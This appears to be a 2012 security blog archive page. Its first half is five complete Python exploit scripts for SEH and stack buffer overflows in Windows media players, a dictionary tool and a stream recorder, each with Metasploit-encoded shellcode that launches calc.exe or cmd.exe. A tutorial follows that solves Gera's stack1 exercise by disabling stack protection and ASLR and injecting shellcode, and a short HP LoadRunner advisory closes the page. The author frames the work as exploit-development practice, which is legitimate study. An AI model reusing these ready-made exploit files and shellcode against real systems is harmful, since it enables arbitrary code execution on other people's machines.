Showing posts with label code execution. Show all posts
Showing posts with label code execution. Show all posts

Sunday, September 2, 2012

Millennium MP3 Studio .mpf File Parsing SEH Overflow

The Millennium MP3 Studio version 1.0 is prone to a SEH overflow vulnerability. Processing specially-crafted .mpf files could trigger a SEH overwrite that could be leveraged further to gain arbitrary code execution. The exploit for this vulnerability has been documented at EDB: 9298

Here is a complete rewrite of this exploit:
from struct import *

file = "edb9298.mpf"

# msfpayload windows/exec CMD=calc.exe EXITFUNC=seh R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)

calc = ("\xbb\x34\x46\x73\x3a\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x12\x83\xea\xfc\x03\x6e\x48\x91\xcf\x72" +
"\xbc\xdc\x30\x8a\x3d\xbf\xb9\x6f\x0c\xed\xde\xe4\x3d\x21" +
"\x94\xa8\xcd\xca\xf8\x58\x45\xbe\xd4\x6f\xee\x75\x03\x5e" +
"\xef\xbb\x8b\x0c\x33\xdd\x77\x4e\x60\x3d\x49\x81\x75\x3c" +
"\x8e\xff\x76\x6c\x47\x74\x24\x81\xec\xc8\xf5\xa0\x22\x47" +
"\x45\xdb\x47\x97\x32\x51\x49\xc7\xeb\xee\x01\xff\x80\xa9" +
"\xb1\xfe\x45\xaa\x8e\x49\xe1\x19\x64\x48\x23\x50\x85\x7b" +
"\x0b\x3f\xb8\xb4\x86\x41\xfc\x72\x79\x34\xf6\x81\x04\x4f" +
"\xcd\xf8\xd2\xda\xd0\x5a\x90\x7d\x31\x5b\x75\x1b\xb2\x57" +
"\x32\x6f\x9c\x7b\xc5\xbc\x96\x87\x4e\x43\x79\x0e\x14\x60" +
"\x5d\x4b\xce\x09\xc4\x31\xa1\x36\x16\x9d\x1e\x93\x5c\x0f" +
"\x4a\xa5\x3e\x45\x8d\x27\x45\x20\x8d\x37\x46\x02\xe6\x06" +
"\xcd\xcd\x71\x97\x04\xaa\x80\x66\x95\x26\x14\xd1\x4c\x0b" +
"\x78\xe2\xba\x4f\x85\x61\x4f\x2f\x72\x79\x3a\x2a\x3e\x3d" +
"\xd6\x46\x2f\xa8\xd8\xf5\x50\xf9\xba\x98\xc2\x61\x13\x3f" +
"\x63\x03\x6b")

# 50B jump to avoid CSEH and a 4B hole @ 0012F930
# jumps directly from nseh to nop sled > shellcode
junk = "A"*4112
nseh = pack ('<I', 0x909032EB)        # short jump 50B
cseh = pack ('<I', 0x1001FFC7)        # p/p/r 1001FFC7 xaudio.dll

nops = "\x90"*80

'''
# 8B jump to avoid CSEH and land in the first NOP sled of 12B
# another 8B jump from there to avoid a 4B hole @ 0012F930 and land in the final NOP sled > shellcode
junk = "A"*4112
nseh = pack ('<I', 0x909008EB)        # short jump 8B

cseh = pack ('<I', 0x1001FFC7)        # p/p/r 1001FFC7 xaudio.dll
nops = "\x90"*12
jump = pack ('<I', 0x909008EB)        # short jump 8B

nops2 = "\x90"*40
'''

sploit = junk+nseh+cseh+nops+calc

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"

'''
/SafeSEH Module Scanner, item 30
 SEH mode=/SafeSEH OFF
 Base=0x10000000
 Limit=0x10044000
 Module version=3, 0, 7, 0
 Module Name=xaudio.dll
'''

SoriTong MP3 Player .m3u File Parsing SEH Overflow

SoriTong MP3 Playerversion 1.0 is prone to a SEH overflow vulnerability. Processing specially-crafted .m3u file could trigger a SEH overwrite that could be leveraged further to gain arbitrary code execution. The exploit for this vulnerability has been documeneted at EDB: 8624

Here is a complete rewrite of this exploit:
from struct import *

file = "edb8624.m3u"

# msfpayload windows/exec CMD=calc.exe EXITFUNC=seh R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)

calc = ("\xbb\x34\x46\x73\x3a\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x12\x83\xea\xfc\x03\x6e\x48\x91\xcf\x72" +
"\xbc\xdc\x30\x8a\x3d\xbf\xb9\x6f\x0c\xed\xde\xe4\x3d\x21" +
"\x94\xa8\xcd\xca\xf8\x58\x45\xbe\xd4\x6f\xee\x75\x03\x5e" +
"\xef\xbb\x8b\x0c\x33\xdd\x77\x4e\x60\x3d\x49\x81\x75\x3c" +
"\x8e\xff\x76\x6c\x47\x74\x24\x81\xec\xc8\xf5\xa0\x22\x47" +
"\x45\xdb\x47\x97\x32\x51\x49\xc7\xeb\xee\x01\xff\x80\xa9" +
"\xb1\xfe\x45\xaa\x8e\x49\xe1\x19\x64\x48\x23\x50\x85\x7b" +
"\x0b\x3f\xb8\xb4\x86\x41\xfc\x72\x79\x34\xf6\x81\x04\x4f" +
"\xcd\xf8\xd2\xda\xd0\x5a\x90\x7d\x31\x5b\x75\x1b\xb2\x57" +
"\x32\x6f\x9c\x7b\xc5\xbc\x96\x87\x4e\x43\x79\x0e\x14\x60" +
"\x5d\x4b\xce\x09\xc4\x31\xa1\x36\x16\x9d\x1e\x93\x5c\x0f" +
"\x4a\xa5\x3e\x45\x8d\x27\x45\x20\x8d\x37\x46\x02\xe6\x06" +
"\xcd\xcd\x71\x97\x04\xaa\x80\x66\x95\x26\x14\xd1\x4c\x0b" +
"\x78\xe2\xba\x4f\x85\x61\x4f\x2f\x72\x79\x3a\x2a\x3e\x3d" +
"\xd6\x46\x2f\xa8\xd8\xf5\x50\xf9\xba\x98\xc2\x61\x13\x3f" +
"\x63\x03\x6b")

junk = "\xCC"*260
nseh = pack ('<I', 0x909032EB)         # short jump 50B
cseh = pack ('<I', 0x1001CFDA)         # p/p/r 1001CFDA Player.dll
nops = "\x90"*80

sploit = junk+nseh+cseh+nops+calc

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"

'''
/SafeSEH Module Scanner, item 33
 SEH mode=/SafeSEH OFF
 Base=0x10000000
 Limit=0x10094000
 Module Name=Player.dll
'''

TFM MMPlayer .ppl File Parsing SEH Overflow

The TFM MMPlayer version 2.0 has a SEH overflow vulnerability. Processing specially-crafted .ppl file triggers SEH overwrite that could be leveraged further to gain arbitrary code execution. The exploit for this vulnerability has been documeneted at EDB: 19176

Here is a complete rewrite of this exploit:
from struct import *

file = "edb19176.ppl"

# msfpayload windows/exec CMD=cmd.exe R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 226 (iteration=1)

cmmd = ("\xda\xd5\xb8\x4f\xc1\x95\xae\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x32\x83\xc2\x04\x31\x42\x16\x03\x42\x16\xe2\xba\x3d" +
"\x7d\x27\x44\xbe\x7e\x58\xcd\x5b\x4f\x4a\xa9\x28\xe2\x5a" +
"\xba\x7d\x0f\x10\xee\x95\x84\x54\x26\x99\x2d\xd2\x10\x94" +
"\xae\xd2\x9c\x7a\x6c\x74\x60\x81\xa1\x56\x59\x4a\xb4\x97" +
"\x9e\xb7\x37\xc5\x77\xb3\xea\xfa\xfc\x81\x36\xfa\xd2\x8d" +
"\x07\x84\x57\x51\xf3\x3e\x56\x82\xac\x35\x10\x3a\xc6\x12" +
"\x80\x3b\x0b\x41\xfc\x72\x20\xb2\x77\x85\xe0\x8a\x78\xb7" +
"\xcc\x41\x47\x77\xc1\x98\x80\xb0\x3a\xef\xfa\xc2\xc7\xe8" +
"\x39\xb8\x13\x7c\xdf\x1a\xd7\x26\x3b\x9a\x34\xb0\xc8\x90" +
"\xf1\xb6\x96\xb4\x04\x1a\xad\xc1\x8d\x9d\x61\x40\xd5\xb9" +
"\xa5\x08\x8d\xa0\xfc\xf4\x60\xdc\x1e\x50\xdc\x78\x55\x73" +
"\x09\xfa\x34\x1e\xcc\x8e\x43\x67\xce\x90\x4b\xc8\xa7\xa1" +
"\xc0\x87\xb0\x3d\x03\xec\x4f\x74\x09\x45\xd8\xd1\xd8\xd7" +
"\x85\xe1\x37\x1b\xb0\x61\xbd\xe4\x47\x79\xb4\xe1\x0c\x3d" +
"\x25\x98\x1d\xa8\x49\x0f\x1d\xf9\x2a\xc2\x85\x2c\xc9\x64" +
"\x23\x31")

nop1 = "\x90"*3777
nop2 = "\x90"*100
jmp2 = "\xE9\xA8\xFD\xFF\xFF"             # near jump (back) 600B (0xFFFFFDA8)
nseh = pack ('<I', 0x9090C4EB)            # short jump (back) 60B (0xFFC4)
cseh = pack ('<I', 0x00401390)            # p/p/r 00401390 MMPlayer.exe

sploit = nop1+cmmd+nop2+jmp2+nseh+cseh
#        3777 226  100  5    4    4

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"

'''
/SafeSEH Module Scanner, item 18
 SEH mode=/SafeSEH OFF
 Base=0x400000
 Limit=0x47c000
 Module version=2.2.0.30
 Module Name=MMPlayer.exe
'''

Word List Builder .dic File Parsing SEH Overflow

The Word List Builder version 1.0 has a SEH overflow vulnerability. Processing specially-crafted .dic dictionary files triggers a SEH overwrite that could be leveraged further to gain arbitrary code execution. The exploit for this vulnerability has been documented at EDB: 17086

Here is a complete rewrite of this exploit:
from struct import *

file = "edb17086.dic"

# msfpayload windows/exec CMD=cmd.exe R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 226 (iteration=1)

cmmd = ("\xda\xd5\xb8\x4f\xc1\x95\xae\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x32\x83\xc2\x04\x31\x42\x16\x03\x42\x16\xe2\xba\x3d" +
"\x7d\x27\x44\xbe\x7e\x58\xcd\x5b\x4f\x4a\xa9\x28\xe2\x5a" +
"\xba\x7d\x0f\x10\xee\x95\x84\x54\x26\x99\x2d\xd2\x10\x94" +
"\xae\xd2\x9c\x7a\x6c\x74\x60\x81\xa1\x56\x59\x4a\xb4\x97" +
"\x9e\xb7\x37\xc5\x77\xb3\xea\xfa\xfc\x81\x36\xfa\xd2\x8d" +
"\x07\x84\x57\x51\xf3\x3e\x56\x82\xac\x35\x10\x3a\xc6\x12" +
"\x80\x3b\x0b\x41\xfc\x72\x20\xb2\x77\x85\xe0\x8a\x78\xb7" +
"\xcc\x41\x47\x77\xc1\x98\x80\xb0\x3a\xef\xfa\xc2\xc7\xe8" +
"\x39\xb8\x13\x7c\xdf\x1a\xd7\x26\x3b\x9a\x34\xb0\xc8\x90" +
"\xf1\xb6\x96\xb4\x04\x1a\xad\xc1\x8d\x9d\x61\x40\xd5\xb9" +
"\xa5\x08\x8d\xa0\xfc\xf4\x60\xdc\x1e\x50\xdc\x78\x55\x73" +
"\x09\xfa\x34\x1e\xcc\x8e\x43\x67\xce\x90\x4b\xc8\xa7\xa1" +
"\xc0\x87\xb0\x3d\x03\xec\x4f\x74\x09\x45\xd8\xd1\xd8\xd7" +
"\x85\xe1\x37\x1b\xb0\x61\xbd\xe4\x47\x79\xb4\xe1\x0c\x3d" +
"\x25\x98\x1d\xa8\x49\x0f\x1d\xf9\x2a\xc2\x85\x2c\xc9\x64" +
"\x23\x31")

nop1 = "\x90"*3777
nop2 = "\x90"*100
jmp2 = "\xE9\xA8\xFD\xFF\xFF"         # near jump (back) 600B (0xFFFFFDA8)
nseh = pack ('<I', 0x90909CEB)        # short jump (back) 100B (0xFF9C)
cseh = pack ('<I', 0x0040143C)        # p/p/r 0040143C Word_Builder.exe

sploit = nop1+cmmd+nop2+jmp2+nseh+cseh
#        3777 226  100  5    4    4

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"

Shadow Stream Recorder .asx File Parsing Buffer Overflow

The Shadow Stream Recorder version 3.0.1.7 has a classic stack-based buffer overflow vulnerability. Processing specially-crafted Advanced Stream Redirector (ASX) media files triggered a memory corruption error. This flaw could be exploited to gain arbitrary code execution. The exploit for this vulnerability is a vanilla EIP overwrite and has been first documented at EDB: 11957

Here is a complete rewrite of this exploit (I'm practicing exploit development and as such used EDB11957 as an example):
from struct import *

file = "edb11957.asx"

# msfpayload windows/exec CMD=cmd.exe R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 226 (iteration=1)

cmmd = ("\xda\xd5\xb8\x4f\xc1\x95\xae\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x32\x83\xc2\x04\x31\x42\x16\x03\x42\x16\xe2\xba\x3d" +
"\x7d\x27\x44\xbe\x7e\x58\xcd\x5b\x4f\x4a\xa9\x28\xe2\x5a" +
"\xba\x7d\x0f\x10\xee\x95\x84\x54\x26\x99\x2d\xd2\x10\x94" +
"\xae\xd2\x9c\x7a\x6c\x74\x60\x81\xa1\x56\x59\x4a\xb4\x97" +
"\x9e\xb7\x37\xc5\x77\xb3\xea\xfa\xfc\x81\x36\xfa\xd2\x8d" +
"\x07\x84\x57\x51\xf3\x3e\x56\x82\xac\x35\x10\x3a\xc6\x12" +
"\x80\x3b\x0b\x41\xfc\x72\x20\xb2\x77\x85\xe0\x8a\x78\xb7" +
"\xcc\x41\x47\x77\xc1\x98\x80\xb0\x3a\xef\xfa\xc2\xc7\xe8" +
"\x39\xb8\x13\x7c\xdf\x1a\xd7\x26\x3b\x9a\x34\xb0\xc8\x90" +
"\xf1\xb6\x96\xb4\x04\x1a\xad\xc1\x8d\x9d\x61\x40\xd5\xb9" +
"\xa5\x08\x8d\xa0\xfc\xf4\x60\xdc\x1e\x50\xdc\x78\x55\x73" +
"\x09\xfa\x34\x1e\xcc\x8e\x43\x67\xce\x90\x4b\xc8\xa7\xa1" +
"\xc0\x87\xb0\x3d\x03\xec\x4f\x74\x09\x45\xd8\xd1\xd8\xd7" +
"\x85\xe1\x37\x1b\xb0\x61\xbd\xe4\x47\x79\xb4\xe1\x0c\x3d" +
"\x25\x98\x1d\xa8\x49\x0f\x1d\xf9\x2a\xc2\x85\x2c\xc9\x64" +
"\x23\x31")

junk = "A"*26085
neip = pack ('<I', 0x7E4456F7) # 7E4456F7  FFE4  JMP ESP USER32.DLL
nops = "\x90"*56

sploit = junk+neip+nops+cmmd

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"
 

Sunday, August 26, 2012

Gera's Warming Up on Stack #1 - Solutions

Following is the part 1 in a series of posts that aim to provide an analysis and possible solutions for the vulnerable programs provided by Gera at his Insecure Programming by example page.

Familiarity with exploit mitigation techniques is expected to gain a proper understanding of the concepts we talk about here. If terms like ASLR, NX, SSP, RELRO, etc. seem unfamiliar, I would suggest reading an earlier post that provides details on these.

We will start with a scenario in which most of the exploit mitigation techniques will be turned on through the default GCC compilation command-line. Since, these techniques prevent successful exploit attempts, we will incrementally turn them off until successful exploitation is achieved. This setup will allow us to witness how these individual techniques succeed in restricting exploit attempts and how their absence affects exploitation reliability.

Below is the source for the vulnerable stack1.c program:


The above program accepts user-input through the gets function and then looks for a specific value in a local variable named cookie. If this value is equal to a certain pre-defined constant, a printf function is used to show a "you win!\n" message to the user. There is no direct means of modifying the content of the cookie variable. The gets function will keep reading from the stdin device until it encounters a newline or EoF character. Since this reading loop fails to honor the size of the destination buffer, a classic buffer overflow vulnerability is introduced in the program. Our aim is to leverage this vulnerability and exploit this program so that it print the "you win!\n" message to stdout.

Here are a few observations that could be made by looking at the source of the program:
  1. Since it is defined prior to buf, the cookie would be placed at a higher memory address on the program stack, just below the saved registers from the function prologue
  2. The buf character array would be at an offset of at least 80B from cookie
  3. The gets call would accept unbounded user-input within buf array and hence it provides a mechanism to alter the call stack contents
To attempt exploitation, proper understanding of a program's memory layout and the positioning of its metadata is very important. We first need to understand the call stack for the stack1 program.

Whenever a function is called, based upon the calling convention in use, metadata information will be pushed on to stack. Upon function termination this information is popped out of stack. The order in which variables are pushed and popped is of importance here. On Linux/GCC environments which use the cdecl calling convention, the caller first pushes any function arguments from right to left in to its stack frame. Then the return address is pushed and finally the control is transferred to callee's .text segment. The callee, when initiated, will execute the function prologue to set up its stack frame. As a part of prologue, the EBP value is pushed on to the stack. Since this is the first operation on the stack after the return address push operation, the EIP and saved EBP end up at adjacent locations. These two values mark boundary for the caller's and callee's stack frames. The location of EIP marks the top of caller's stack frame and the location of saved EBP marks the base of callee's stack frame.

Refer the below stack layouts for better understanding. The first layout outlines the call stack for the caller main():


The second layout outlines the call stack for the callee add():


While control is in the callee function, the passed arguments are accessed by using EBP as a pointer. According to the calling convention, the first parameter is located at an offset of EBP+8, the second parameter is located at an offset of EBP+12, and so on. Using this formula we can locate function arguments (EBP+8 in the above layout is 32+8 = 40 which stores the first argument 3 and similarly EBP+12 is 32+12 = 44 which stores the second argument 6). Since the above described call stack layout will be used for all programs, we could generalize the above formula and use it to find the offset of EBP itself and then the offset of EIP (EBP+4). The address of EBP is located by summing up the address of the first local variable on the stack with its size. Similarly EIP could be located by adding 4 to the address of the EBP.

Based on these observations, let's try to visualize the call stack layout for the stack1 program:


NOTE: The stack is assumed to be 4B aligned and we are working on an x86 machine. The addresses in the layouts are for reference only.

While thinking about possible solutions for this program, I came up with the below listed ideas:
  • Solution #1: Overflow the 4B past buf, where the cookie is stored, with the desired value (0x41424344 in this case)
  • Solution #2: Overwrite EIP with the address of the printf statement that prints the "you win!\n" message
  • Solution #3: Inject and execute a shellcode that simulates the second printf statement, through the internal buf character array
  • Solution #4: Inject and execute a shellcode, that simulates the second printf statement, through an environment variable
All right! Let's start with the test execution of this program. Here is a brief description of the test system:


Below is the GCC command-line to compile the stack1.c source file. The -mpreferred-stack-boundary=2 option is used to align stack entries at DWORD (4B) boundary:


GCC outlines a few warnings with the above code, out of which, the last one suggests to find an alternative for the gets, since it is a "dangerous" function. We are in the process of figuring out just how dangerous gets can be and hence we can safely ignore this and earlier warnings for now.

Lets have a peak into the assembly code of the stack1 ELF binary. Below command-line uses the objdump utility to dump the disassembled object code of a program in Intel syntax (remove the -Mintel option from the below command-line to view assembled code in the default AT&T syntax):


There are a few very important points to note from the above output:
  1. To witness the SSP mitigation technique, locate the mox eax, gs:0x14 instruction at memory address 0x080484aa. This instruction inserts a random 4B canary value just below the function prologue.
  2. Variable reordering feature of SSP is also in place since for the initial printf call, the first variable to be pushed on to stack is &cookie instead of &buf (refer cdecl calling convention). This is concluded from the addresses used to move arguments onto stack. The &cookie is accessed from the location [ebp-0x58] and &buf from [ebp-0x54]. As such, cookie is placed at a distance of 88B from EBP and buf is located right above it at a distance of 84B from EBP. The additional 4B are from the canary placed just below EBP.
  3. The code to verify the content of canary, before returning control to the parent process, is also added and can be found at address 0x080484f0. If this check fails, the __stack_chk_fail function is called to abort the execution of this program.
NOTE: These SSP feature is enabled by default and hence it was introduced automatically through the vanilla command-line we used to compile stack1.c above. It is, however, suggested to use explicit command-line arguments without considering their default status when compiling your source files.

You must have already guessed that the call stack layout we saw earlier is no longer in sync with the compiled binary. We need to recreate it considering the above discussed modifications:


The default GCC command-line might have turned on other mitigation features as well. We need to investigate further before proceeding.

Tobias Klein, the author of A Bug Hunter's Diary, maintains an awesome Bash script called checksec.sh that provides an overview of the security features implemented within the Linux kernel, ELF binaries and executing processes on a system. Here is a listing of its available options:


Obtain the latest version of this script (1.5 as of this writing). Let's try the --kernel option to see available mitigation features implemented within the kernel itself:


The output above confirms that the GCC stack protector support is enabled and we have already seen it in action earlier. Let's now see what does this script has to say about the stack1 ELF binary:


As discussed earlier, the default compilation command-line enabled quite a few mitigation features like Partial RELRO, stack canary, NX and a few others. These features have made significant modifications to the vulnerable program and their presence will prohibit its successful exploitation. From the above output, also note that the printf and gets functions have not been replaced with their safer counterparts. This should have happened through the default command-line. But since the program source did not include the necessary standard libraries for these functions, the FORTIFY_SOURCE mitigation feature failed to detect their presence and as such could not replace them. If you recompile the source with the necessary libraries included, you will encounter the "*** stack smashing detected ***" error message. Still, in the absence of this feature, the ELF binary is quite difficult to exploit.

We need to print the message to successfully exploit this program. But since the cookie has been reordered and placed below buf, we simply have no way to modify it. Additionally, any attempts to overwrite the return address would fail since the canary is placed in between. While overwriting EIP, it will also be overwritten and the __stack_chk_fail function would terminate the program before the message is printed:


In the above test run, supplying 81B of input causes the program to crash. Note the addresses of buf and cookie, 0xbf878da4 and 0xbf878da0 respectively. Variable reordering, we talked about earlier, is in effect here. We are experiencing the influence of exploit mitigation techniques at this stage. For a successful exploit attempt, we will have to disable these features to be able to achieve exploitation. Let's disable the  stack canary mitigation feature first. Below screenshot outlines the GCC option -fno-stack-protector, that disables SSP and as such provides a wide playground for our exploit attempts. Additionally, we see how the checksec.sh script correctly identifies the absence of stack canary and fortify source mitigation features from the program:


The buf is at 0xbfbed9e4 and the cookie at 0xbfbeda34. The variables have been ordered as per our expectation. Let's have a peek at the program assembly to quickly see if the stack cookie has also been added or not:


From here we could proceed to the exploitation phase.

Solution #1:
For this solution we first need to calculate the offset between buf and cookie:

 

As expected, it came out to be 80B. We craft a perl command-line to overwrite 80B of data to reach past the buf boundary. Once this is done, we're pointing at the cookie, which can then be overwritten with the desired content:


NOTE: The test system is an x86 Intel machine that uses little-endian byte ordering. We take this into account and reorder individual bytes to set the cookie with appropriate value.

Solution #2:
For the second solution, we need to overwrite EIP with the address of the printf statement that prints the required "you win!\n" message. This will ensure that when the program returns from main(), control transfers to stack1's .text segment again, instead of the __libc_start_main(). But first we need to find the address of the printf statement in stack1's assembly code:


The last call instruction prepares the stack for a call to puts. That's right, the stack is prepared for puts and not printf. This is due to a default GCC optimization option that finds the second printf call in stack1.c incompatible with its built-in declaration and replaces (optimizes) it with a call to puts. For our exploit attempts, we can safely ignore the implicit differences between functions used here. Since the puts function will do the same thing as printf, we just want its address for proper control transfer. However we need the address of the instruction just above call puts, because it is where the "you win!\n" message is pushed on to stack. From the above output we see that it is 0x08048479.

Now that we have the address to overwrite with, we need the exact offset where we can inject it. For this solution we need to overwrite EIP, whereas in the previous solution, we overwrote cookie, ie. 4B past buf. The size of buf was the offset that we used for junk data to reach cookie. We concluded this offset using the variable adjacency property. All local variables are placed adjacent to each other at lower memory addresses in the order in which they were declared in the source program. As such we could find out the offset of the EIP as well.

Referring the call stack layout we saw earlier, the offset of EIP can be easily calculated. The buf 80B + cookie 4B + saved Frame Pointer 4B = 88B. This is the offset of EIP from the start of the buf array:


We were able to overwrite EIP and redirect control to a desired location. This action helped us to bypass the if condition without actually modifying the contents of the source program.

Solution #3:
We now move on to the third solution for this program. We have found that the program has a buffer in which we can inject junk data and we also have the ability to redirect control to arbitrary locations. These two possibilities, when combined together, allow us to execute arbitrary shellcode. We will design a shellcode that simulates the behavior of the puts call and inject it within the program buffer. We will then modify the contents of EIP to point to the buffer where our injected shellcode ends up. If all goes well, this shellcode will be executed and we will have the message printed.

There is however one thing we will have to think about before we move ahead. Recall the checksec.sh output above. It tells that one of the mitigation features, NX, is enabled for the vulnerable stack1 program. This means that when we execute this binary, it will have its stack segment marked as non-executable:


From the above output, stack is marked as RW for the vulnerable program. As such, even if we can inject shellcode into buf, we can not execute it. Any attempts to redirect EIP to our shellcode would be successful, however, the instant we try to execute shellcode, an exception would be raised that will eventually terminate the program. So, we'll have to disable this feature for solutions #3 and #4 to work correctly. But I'm not going to disable them for now. As you'll see, our exploit attempts would still work in the presence of NX and at the end of the post I'll point out the exact reason for such a behavior. Till then read on and try to think about why this might be happening.

First we need to design a shellcode that simulates the puts call. I came up with the following:


The above code uses the standard Linux system calls, write and exit, to print the message and cleanly terminate the program. Using the exit call will help to remove the segmentation fault we encountered in the previous solution, thus making our exploit much reliable. Additionally, we use a few shellcode writing tricks to remove NULL bytes from our shellcode, to reduce the shellcode size, and to overcome the addressing problem. Assemble and link the program to create a standalone binary:


Here is the objdump for the resultant printf program:


Extract opcodes to create the required shellcode and calculate its size:


Now we are ready with the shellcode that simulates the puts call. Once we inject it, we would need the address of the buffer where this shellcode lands. Looking at the source and through the earlier test executions of the stack1 program, you already know that it prints out the address of the buf and the cookie variables. But we cannot just use the address from an earlier execution for our exploit. Why is this so? If you had noticed earlier, both buf and cookie, although adjacent and aligned as expected, had different address on each invocation:


You would have already guessed by now. It is due to the ASLR mitigation feature that is active on the test system:


On systems that support brk ASLR, the randomize_va_space file stores a value of 2. On other systems it stores a value of 1 by default to indicate the presence of ASLR. Modifying this file with a value of 0 will immediately turn off this feature for all newly spawned processes:


For all the 3 invocations of stack1 program, the locations for buf (0xbffff4c4) and cookie (0xbffff514) remain constant. Since the buf is always placed at a known static address, we could use it for EIP redirection.

Let's proceed to the exploitation phase. Since the shellcode is of 38B and the buf is located at an offset of 88B from the EIP, we have a junk space of 50B. We could use this space to increase the reliability of our exploit by adding a NOP sled in front of our shellcode. This although is not required as we are already aware of the location of our shellcode. But we still have to fill this space with junk bytes to reach the offset of EIP. Let's craft a perl command-line to inject our shellcode at the  where ths correct address could be overwritten. However, we were not able to get the shellcode executed:


It did not work. The offset calculation was correct, address for EIP overwrite also points to our shellcode, and we actually have a working shellcode that, if executed, should print the winning message. What could have gone wrong? A GDB analysis could help but this specific issue could be debugged without using it. Have a look at the shellcode once again:


The shellcode above is copied into the buf array through the gets function, which parses newline or EoF as input terminating characters. Unfortunately, the shellcode we so carefully prepared contains a newline as its last byte. This came in through the "you win!\n" message and it is indeed the culprit here. The earlier exploit command-line breaks at the \x0a byte on offset 87, failing to overwrite further stack locations. The EIP at offset 88 is untouched and we fail to gain successful exploitation.

We could quickly modify the printf.s program and generate a new shellcode that has the message with no newline character. However, a quick hack can be to remove the newline from the exploit command-line and test it:


It did work! Although a junk byte was appended to the winning message. We are clear with the exploit technique and it is all that matters. We used the address of buf to jump back to our shellcode and it is one thing which makes our exploit highly unreliable. There are certain techniques through which you can reliably jump to your shellcode without using memory addresses that could possibly differ between different systems. Please refer the Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode post from corelanc0d3r for more details.

For this solution, we turned off another mitigation feature (ASLR). Even in its presence we were able to gain successful exploitation (using solutions #1 and #2) but that was because we had alternate tricks. However, those were very specific to the vulnerable stack1 program. They won't always work, but you now understand that an insight about how things really work, could help designing custom solutions and hacking around any limitations that stop you from gaining successful exploitation. This solution helped us to get an insight into how useful addressing information could be for an exploit writer and how successfully the ASLR technique helps to mitigate exploit attempts that use this information.

Solution #4:
Let's now move to the final solution for the stack1 program. First, let's have a quick review of solution #3. We injected a shellcode that simulated the behavior of printf statement. We redirected control to our shellcode and achieved exploitation. However, a minor modification was required to our exploit command-line that changed the look and feel of our winning message. The newline character caused the gets copy loop to stop overwriting memory addresses past the terminating character and as such we had to remove it from our exploit shellcode. Although this issue was easily resolved though a quick and dirty hack, it might pose significant issues in real world exploit attempts. Could there be a better/elegant solution to this problem?

Okay, no guess work required here. There indeed is one such trick that could help us to overcome the newline issue. The shellcode we injected through the buf array could be stored within an environment variable and then the EIP could be overwritten with the address of this variable to get successful execution. But wait! Where did the idea of environment variable come from? Why are we using it anyways? How exactly does it help to bypass the newline filter?

There are a few scenarios in which injecting shellcode through an environment variable is the only viable option. One such scenario is when you encounter a buffer that is too small to fit in your desired shellcode. Since an environment variable could be of arbitrary size, we could inject a huge shellcode like the one simulating the Meterpreter payload in Metasploit Framework and get it executed on the target system. In our case, we were lucky enough to have a large buf that could completely hold our printf shellcode. Another scenario could be when string termination filters like the newline above is encountered. For the solution #3, we hacked around and got the message printed, but it obviously won't work in all cases. In such a scenario, we could inject our shellcode into an environment variable. Since the shellcode is injected independent of the vulnerable program, it helps to bypass its inherent filters. The only challenging part that is then left out is redirecting control to the location where this shellcode is placed.

One of the most important reason to use an environment variable to hold exploit shellcode is its memory placement. These variables are copied into the stack segment of all processes and as such they provide a means for code execution for stack-based exploits.

Let's inject the shellcode we prepared earlier into an environment variable, called WINCODE and use its address to overwrite EIP and get code execution. There are a few techniques using which the address of an environment variable can accurately calculated and as such we won't need a NOP sled in front of our shellcode. If you have any queries regarding environment variables based exploitation, please refer 0x331 Using the Environment from Hacking - The Art of Exploitation book:


We successfully redirected EIP to a NOP-less shellcode present within an environment variable. And it did work! However the output is not exactly what we had expected. There's no newline at the end. Here is what hexdump has to say about our exploit:


Although the environment variable has a newline at the end, it is not echoed back when the shellcode executes. I made a small change to the original shellcode to include "\x0a\x0d" characters and used it for testing:


This time just the "\x0a" was echoed back and it, as expected, corrects the exploit output. However, I could not understand this strange behavior. If you have any ideas please get back.

So, we have now successfully exploited the stack1 program through a shellcode injected into an environment variable. Please note that the use of environment variables is only possible for local exploits and as such it is not much used in common exploits that you see in the wild. However, as you have already seen, it is one of the most reliable methods of exploitation.

All these solutions are however not practical. They serve the purpose of understanding how exploits used to work before mitigation features were introduced.

Saturday, June 2, 2012

Vulnerable Weekends #8

Vulnerability Report #8: HP LoadRunner magentservice.exe Component Remote Code Execution Vulnerability

Vulnerable Product: Installations of HP LoadRunner prior to version 11 patch 4

CVE ID: CVE-2011-4789

CVSS v2 Score:
Access Vector: REMOTE
Access Complexity: LOW
Authentication: NONE

Confidentiality Impact: COMPLETE
Integrity Impact: COMPLETE
Availability Impact: COMPLETE
Base Score: 10

Exploitability: FUNCTIONAL
Remediation Level: OFFICIAL FIX
Report Confidence: CONFIRMED
Temporal Score: 8.3

Details:
HP LoadRunner is vulnerable to a remote code execution vulnerability due to insufficient boundary checks performed on user-supplied input received via its magentservice.exe component.

